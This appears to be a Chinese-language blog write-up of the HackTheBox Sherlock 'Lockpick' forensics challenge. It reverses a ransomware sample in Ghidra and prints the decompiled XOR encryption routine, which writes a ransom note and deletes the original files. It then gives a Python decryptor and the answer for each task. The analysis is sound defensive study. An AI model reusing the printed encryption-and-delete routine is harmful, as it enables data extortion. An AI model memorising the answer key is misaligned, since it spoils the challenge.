【HTB】Sherlocks Lockpick 蓝队 easy

发布时间 2023-12-16 22:01:32作者: kazie

全网首发

工具:gHydra

使用教程:https://www.secrss.com/articles/8829

Task 1

问题:请确认用于加密所提供文件的加密密钥字符串?


1、下载 ghydra(本人这是第一次接触逆向,因此需要下载工具,后面步骤可能不太规范,望大佬请喷)

ghydra	# 由于本地没有 ghydra,因此 kali 会提示是否下载,输入 Y,自动下载 ghydra 及其依赖包

2、分析文件

1)创建项目、导入文件

2)双击

3)双击进入后会有提示,选择 yes

4)默认选项即可,点击分析

5)加密字符串

已进来就可以看见 main 函数,前一个参数为路径,后一个参数为加密字符串

答案:bhUlIshutrea98liOp

Task 2

问题:我们最近收到了一封来自 wbevansn1@cocolog-nifty.com 的电子邮件,要求知道我们为其注册的名字和姓氏。他们认为自己在申请过程中犯了一个错误。请确认该申请人的名字和姓氏。


1、分析函数逻辑

1)主函数

主函数调用了 process_directory 函数,并传递一个路径,一个密钥,双击此函数

2)process_directory 函数

这个函数作用是获取目录下的文件,最下面可以看见 encrypt_file 函数,双击

3)encrypt_file 函数

获取文件内容,按字节加密,然后创建新文件,把原文件删除。我们把函数复制下来具体分析

2、编写解密程序

1)详细解读加密过程

// 文件加密函数
void encrypt_file(char *param_1,char *param_2)

{
  byte bVar1;			// 中间变量,字节
  ulong uVar2;			// 中间变量,字节索引,用于求模
  int iVar3;			
  size_t sVar4;			// 密码长度
  char local_848 [1024];
  char local_448 [1032];
  FILE *local_40;
  void *local_38;		// 内存块大小
  size_t local_30;		// 文件长度
  FILE *local_28;		// 文件内容
  ulong local_20;		// 中间变量,字节索引,用于查找字节

  local_28 = fopen(param_1,"rb");
  if (local_28 == (FILE *)0x0) {
    printf("Error opening file: %s\n",param_1);
  }
  else {
      // 获取文件长度
    fseek(local_28,0,2);	
    local_30 = ftell(local_28);
    rewind(local_28);
      // 将文件内容读取到内存块中
    local_38 = malloc(local_30);
    fread(local_38,1,local_30,local_28);	
    fclose(local_28);
      // 加密,对每个字节,将其与密钥param_2进行异或操作,以实现加密。异或操作的密钥长度为strlen(param_2)
    for (local_20 = 0; uVar2 = local_20, (long)local_20 < (long)local_30; local_20 = local_20 + 1) {
      bVar1 = *(byte *)((long)local_38 + local_20);		// 诶个获取文件内容字节
      sVar4 = strlen(param_2);	// 密码长度
        // 利用文件内容字节的索引选取加密字符串中的一个字母,对文件内容字节做异或运算
      *(byte *)((long)local_38 + local_20) = bVar1 ^ param_2[uVar2 % sVar4];	
    }
      // 生成文件名(原名 + 24bes 后缀)
    snprintf(local_448,0x400,"%s.24bes",param_1);
      // 写入加密后的内容
    local_28 = fopen(local_448,"wb");
    fwrite(local_38,1,local_30,local_28);
    fclose(local_28);
      // 释放内存块
    free(local_38);
      
      // 生成要挟文件
    snprintf(local_848,0x400,"%s_note.txt",local_448);
    local_40 = fopen(local_848,"w");
    if (local_40 == (FILE *)0x0) {
      printf("Error creating note file: %s\n",local_848);
    }
    else {
      fwrite("This file has been encrypted by bes24 group, please contact us at bes24@protonmail.com  to discuss payment for us providing you the decryption software..\n"
             ,1,0x99,local_40);
      fclose(local_40);
    }
      
    iVar3 = remove(param_1);	// 删除原文件
    if (iVar3 != 0) {
      printf("Error deleting original file: %s\n",param_1);
    }
  }
  return;
}

理清加密程序逻辑后,编写解密程序,用密文对密钥做异或运算,即可得到明文

2)编写解密脚本

python 解密脚本

import os
import time

# 获取加密文件
def list_files(directory):
    return [i for i in os.listdir(directory) if i[-6:]=='.24bes']

# 解密
def decrypt(path,file):
    key = 'bhUlIshutrea98liOp'
    key_len = len(key)
    content = bytearray()
    
    # 创建存储解密文件的目录
    try:
        os.makedirs(path+'decrypt\\')
    except:pass
    
    decrypt_before_path = path+file
    decrypt_after_path = path+'decrypt\\'+file[:-6]
    
    # 获取文件内容
    with open(decrypt_before_path, 'rb') as file:
        data = file.read()

    # 解密
    for i,v in enumerate(data):
        content.append(v ^ ord(key[i % key_len]))

    # 保存解密文件
    with open(decrypt_after_path, "wb") as f:
        f.write(content)


path = 'D:\\htb\\sherlocks\\lockpick\\lockpick1\\forela-criticaldata\\'		# 你的路径
files = list_files(path)
i,file_len = 1,len(files)

for file in files:
    decrypt(path,file)
    print(f'\r[+] {i/file_len:.0%} [{"▓"*10*(i)+" "*10*(file_len-i)}]',end='')	# 进度条(劣质)
    time.sleep(0.5)
    i += 1

最后可以得到以下文件

3、查看 forela_uk_applicants.sql 文件

根据邮箱(wbevansn1@cocolog-nifty.com)查找名字

答案:Walden Bevans

Task 3

问题:分配给 Hart Manifould 的笔记本电脑的 MAC 地址和序列号是多少?


查看 it_assets.xml 文件,直接查找 Hart Manifould

答案:E8-16-DF-E7-52-48, 1316262(逗号后面是空格)

Task 4

问题:攻击者的电子邮件地址是什么?


每个加密文件都有一个要挟文件,打开就可以发现有个邮箱

答案:bes24@protonmail.com

Task 5

问题:伦敦市警方怀疑我们的交易组织内存在一些内幕交易。请确认单笔交易中利润率最高者的电子邮件地址以及利润率。


查看 trading-firebase_bkup.json 文件,数据太多,而且不好排序

用 python 脚本进行排序

import re
from decimal import Decimal

with open('D:\\htb\\sherlocks\\lockpick\\lockpick1\\forela-criticaldata\\decrypt\\trading-firebase_bkup.json','r') as f:
    data = f.readlines()

lis = []
for i in data:
    temp = re.search(r'email":"(.*?)".*?profit_percentage":(.*?),"in',i)
    if temp:
        lis.append([temp.group(1),Decimal(temp.group(2))])

lis.sort(key=lambda x :x[1],reverse=True)

print(f'[+] email:{lis[0][0]}',f'[+] profit_percentage:{lis[0][1]:.25f}',sep='\n')

答案:fmosedale17a@bizjournals.com, 142303.1996053929628411706675436

Task 6

问题:我们的电子取证团队希望确认销售预测日志中涉嫌与同事共享帐户的用户的详细 IP 地址。请确认 Karylin O'Hederscoll 的 IP 地址。


查看 sales_forecast.xlsx 文件,根据姓(O'Hederscoll)名(Karylin)查找

答案:8.254.104.208

Task 7

问题:以下哪个文件扩展名不是恶意软件的目标?.txt, .sql,.ppt, .pdf, .docx, .xlsx, .csv, .json, .xml


答案:.ppt

Task 8

问题:解密后我们需要确认文件的完整性。请确认申请人数据库的MD5哈希值。


cmd 命令

certUtil -hashfile forela_uk_applicants.sql md5

答案:f3894af4f1ffa42b3a379dddba384405

Task 9

问题:解密后我们需要确认文件的完整性。请确认交易备份的MD5哈希值。


cmd 命令

certUtil -hashfile trading-firebase_bkup.json md5

答案:87baa3a12068c471c3320b7f41235669

Task 10

问题:解密后我们需要确认文件的完整性。请确认投诉文件的 MD5 哈希值。


cmd 命令

certUtil -hashfile complaints.csv md5

答案:c3f05980d9bd945446f8a21bafdbf4e7